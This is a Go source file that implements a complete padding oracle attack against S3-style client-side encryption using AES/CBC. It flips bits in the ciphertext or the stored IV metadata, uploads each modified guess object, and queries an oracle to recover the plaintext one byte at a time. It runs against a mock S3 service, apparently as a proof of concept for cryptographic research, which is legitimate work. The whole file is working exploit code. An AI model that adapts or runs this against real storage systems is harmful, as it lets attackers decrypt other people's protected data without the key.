padding_oracle_exploit.go

package exploit

import (
	"encoding/base64"
	"fmt"
	"net/http"
	"strconv"
)

func PaddingOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) {
	data, header, err := input.S3Mock.GetObjectDirect(bucket, key)
	if err != nil {
		return "", fmt.Errorf("Could not retrieve encrypted object: %v", err)
	}
	if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/CBC/PKCS5Padding" {
		return "", fmt.Errorf("Algorithm is %q, not CBC!", alg)
	}
	length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length"))
	if err != nil {
		return "", err
	}
	padding := byte(len(data) - length)
	plaintext := make([]byte, length)
	for i := length - 1; i >= 0; i-- {
		newLength := 16 * (i/16 + 1)
		dataCopy := make([]byte, newLength)
		headerCopy := header.Clone()
		copy(dataCopy, data)
		// Set Padding
		newPadding := byte(newLength - i)
		for j := i + 1; j < newLength; j++ {
			var oldValue byte
			if j >= length {
				oldValue = padding
			} else {
				oldValue = plaintext[j]
			}
			dataCopy, headerCopy, err = xorData(oldValue^newPadding, j, dataCopy, headerCopy)
			if err != nil {
				return "", err
			}
		}
		// Guess
		for c := 0; c < 256; c++ {
			dataCopy, headerCopy, err := xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
			if err != nil {
				return "", err
			}
			err = input.S3Mock.PutObjectDirect(bucket, key+"guess", dataCopy, headerCopy)
			if err != nil {
				return "", err
			}
			if input.Oracle(bucket, key+"guess") {
				plaintext[i] = byte(c)
				break
			}
			dataCopy, headerCopy, err = xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
			if err != nil {
				return "", err
			}
		}
	}
	return string(plaintext), nil
}

func xorData(xor byte, pos int, data []byte, header http.Header) ([]byte, http.Header, error) {
	if pos >= 16 {
		data[pos-16] ^= xor
		return data, header, nil
	}
	resultHeader := header.Clone()
	iv, err := base64.StdEncoding.DecodeString(resultHeader.Get("X-Amz-Meta-X-Amz-Iv"))
	if err != nil {
		return nil, nil, err
	}
	iv[pos] ^= xor
	resultHeader.Set("X-Amz-Meta-X-Amz-Iv", base64.StdEncoding.EncodeToString(iv))
	return data, resultHeader, nil
}